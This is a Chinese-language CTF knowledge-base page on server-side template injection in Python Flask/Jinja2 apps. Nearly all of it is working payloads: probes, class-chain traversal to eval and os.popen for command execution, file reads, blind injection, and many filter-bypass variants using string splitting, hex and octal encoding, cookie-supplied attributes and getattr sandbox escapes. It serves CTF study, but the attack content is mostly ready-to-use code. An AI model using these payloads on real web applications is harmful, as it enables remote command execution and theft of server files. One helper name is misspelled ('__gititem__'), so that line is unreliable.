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width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li><li><section class="sidebar-group collapsable depth-0"><p class="sidebar-heading"><span>攻防对抗</span> <span class="arrow right"><i aria-label="icon: down" class="anticon anticon-down"><svg viewBox="64 64 896 896" focusable="false" data-icon="down" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li><li><section class="sidebar-group collapsable depth-0"><p class="sidebar-heading"><span>代码审计</span> <span class="arrow right"><i aria-label="icon: down" class="anticon anticon-down"><svg viewBox="64 64 896 896" focusable="false" data-icon="down" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li></ul></aside> <main class="page"> <div class="theme-antdocs-content content__default"><h1 id="ssti">SSTI <a href="#ssti" class="header-anchor">#</a></h1> <p>SSTI为模板注入，以下皆为 Python3 环境</p> <p>首先由于模板解析的特性，当使用 render_template_string 则可以通过各个类之间的调用造成命令执行</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>render_template_string(&quot;{{1+1}}&quot;)
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>这一解析方法时就会把输入的内容直接放入页面解析，通常的检测方法为</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{1+1}}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>返回的是 2，这也说明其中的内容被执行。</p> <p>而安全的方法是</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>render_template(&quot;{{1+1}}&quot;)
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>返回的是</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{1+1}}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><h2 id="利用方法">利用方法 <a href="#利用方法" class="header-anchor">#</a></h2> <p>通常是通过某一对象向上寻找基类，进而使用包含某些特殊方法的类，并调用其中的危险函数来执行命令</p> <p>以下为 flask 的常见可用类</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>75 &lt;class '_frozen_importlib._ModuleLock'&gt;
76 &lt;class '_frozen_importlib._DummyModuleLock'&gt;
77 &lt;class '_frozen_importlib._ModuleLockManager'&gt;
78 &lt;class '_frozen_importlib._installed_safely'&gt;
79 &lt;class '_frozen_importlib.ModuleSpec'&gt;
91 &lt;class '_frozen_importlib_external.FileLoader'&gt;
92 &lt;class '_frozen_importlib_external._NamespacePath'&gt;
93 &lt;class '_frozen_importlib_external._NamespaceLoader'&gt;
95 &lt;class '_frozen_importlib_external.FileFinder'&gt;
103 &lt;class 'codecs.IncrementalEncoder'&gt;
104 &lt;class 'codecs.IncrementalDecoder'&gt;
105 &lt;class 'codecs.StreamReaderWriter'&gt;
106 &lt;class 'codecs.StreamRecoder'&gt;
128 &lt;class 'os._wrap_close'&gt;
129 &lt;class '_sitebuiltins.Quitter'&gt;
130 &lt;class '_sitebuiltins._Printer'&gt;
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br></div></div><p>当确定存在模板注入后就是先寻找可用类</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{''.__class__.__mro__[1].__subclasses__()}}

__class__ 返回调用的参数类型
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br></div></div><p>class 返回 str 类，str的基类是 object类，之后返回object的子类，就可以实现多种方法</p> <p>例如命令执行：</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__(&quot;os&quot;).popen(&quot;ls&quot;).read()')}}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>文件读取：</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_flag.txt').read()}}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><h2 id="waf绕过">WAF绕过 <a href="#waf绕过" class="header-anchor">#</a></h2> <p>很多 Python 中的语法在 SSTI 中也都是可以用的</p> <p>attr 用于获取变量，以下写法是相同的</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>&quot;&quot;|attr(&quot;__class__&quot;)
&quot;&quot;.__class__
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br></div></div><p>获取数组参数可以使用</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>__gititem__()
__gititem__(数组下标)
__gititem__(&quot;key&quot;)
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br></div></div><p>绕过双引号可以使用</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>request.cookies.参数名
request.args.参数名
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br></div></div><p>比如通过 + 进行拼接绕过关键字，也可以使用 “” 进行拼接，或者 <code>&quot;str1&quot;.__add__(&quot;str2&quot;)</code> 的方式</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(&quot;o'+'s&quot;).pop'+'en(&quot;ls&quot;).read()')}}
{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__[&quot;open&quot;](&quot;/fl&quot;&quot;ag&quot;).read()}}
{{app.__init__.__globals__[&quot;__buil&quot;.__add__(&quot;tins__&quot;)].open(&quot;/fla&quot;.__add__(&quot;g&quot;)).read()}}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br></div></div><p>通过十六进制绕过 . 和 _</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{''[&quot;\x5f\x5fclass\x5f\x5f&quot;][&quot;\x5f\x5fmro\x5f\x5f&quot;][1][&quot;\x5f\x5fsubclasses\x5f\x5f&quot;]()[342][&quot;\x5f\x5finit\x5f\x5f&quot;][&quot;\x5f\x5fglobals\x5f\x5f&quot;][&quot;\x5f\x5fbuiltins\x5f\x5f&quot;][&quot;\x5f\x5fimport\x5f\x5f&quot;]('os')[&quot;popen&quot;](&quot;ls&quot;)[&quot;read&quot;]()}}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>或者在无回显的时候进行盲注 <code>177 threading.Semaphore</code></p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{% if ''.__class__.__mro__[-1].__subclasses__()[177].__init__.__globals__['__bui'+'ltins__']['open']('/app/flag').read()[0:1]=='f' %}xxx{% endif %}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>也有特殊的可用类 <code>&lt;class 'subprocess.Popen'&gt;</code> 直接执行命令</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{''.__class__.__mro__[-1].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>或者利用 getattr 进行沙箱逃逸</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>和利用八进制绕过</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{%print%0a(lipsum|attr(&quot;\137\137\147\154\157\142\141\154\163\137\137&quot;))|attr(&quot;\137\137\147\145\164\151\164\145\155\137\137&quot;)(&quot;\137\137\142\165\151\154\164\151\156\163\137\137&quot;)|attr(&quot;\137\137\147\145\164\151\164\145\155\137\137&quot;)(&quot;\145\166\141\154&quot;)(&quot;\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51&quot;)%}
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>利用 attr 和 request 绕过</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>{{()|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)()|attr(request.cookies.x4)(78)|attr(request.cookies.x5)|attr(request.cookies.x6)|attr(request.cookies.x4)(request.cookies.x7)|attr(request.cookies.x4)(request.cookies.x9)(request.cookies.x10)}}
Cookie: x1=__class__; x2=__base__; x3=__subclasses__; x4=__getitem__; x5=__init__; x6=__globals__; x7=__builtins__; x8=__getitem__; x9=eval; x10=__import__(&quot;os&quot;).popen(&quot;cat flag.txt&quot;).read();
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br></div></div><h2 id="其他方法">其他方法 <a href="#其他方法" class="header-anchor">#</a></h2> <p>查看对象属性</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>(对象名).func_globals  
(对象名).__code__.co_consts 
(对象名).__code__.co_names
(对象名).__dict__
(对象名).__globals__
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br></div></div><h2 id="相关题目">相关题目 <a href="#相关题目" class="header-anchor">#</a></h2> <p>BUUCTF		[BJDCTF 2nd]fake google</p></div> <footer class="page-edit"><!----> <div class="last-updated"><span class="prefix">上次更新:</span> <span class="time">12/18/2021, 12:46:42 PM</span></div></footer> <div class="page-nav"><p class="inner"><span class="prev"><a href="/knowledge/ctf/js-prototype-chain-pollution.html" class="prev"><i aria-label="icon: left" class="anticon anticon-left"><svg viewBox="64 64 896 896" focusable="false" data-icon="left" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M724 218.3V141c0-6.7-7.7-10.4-12.9-6.3L260.3 486.8a31.86 31.86 0 0 0 0 50.3l450.8 352.1c5.3 4.1 12.9.4 12.9-6.3v-77.3c0-4.9-2.3-9.6-6.1-12.6l-360-281 360-281.1c3.8-3 6.1-7.7 6.1-12.6z"></path></svg></i>
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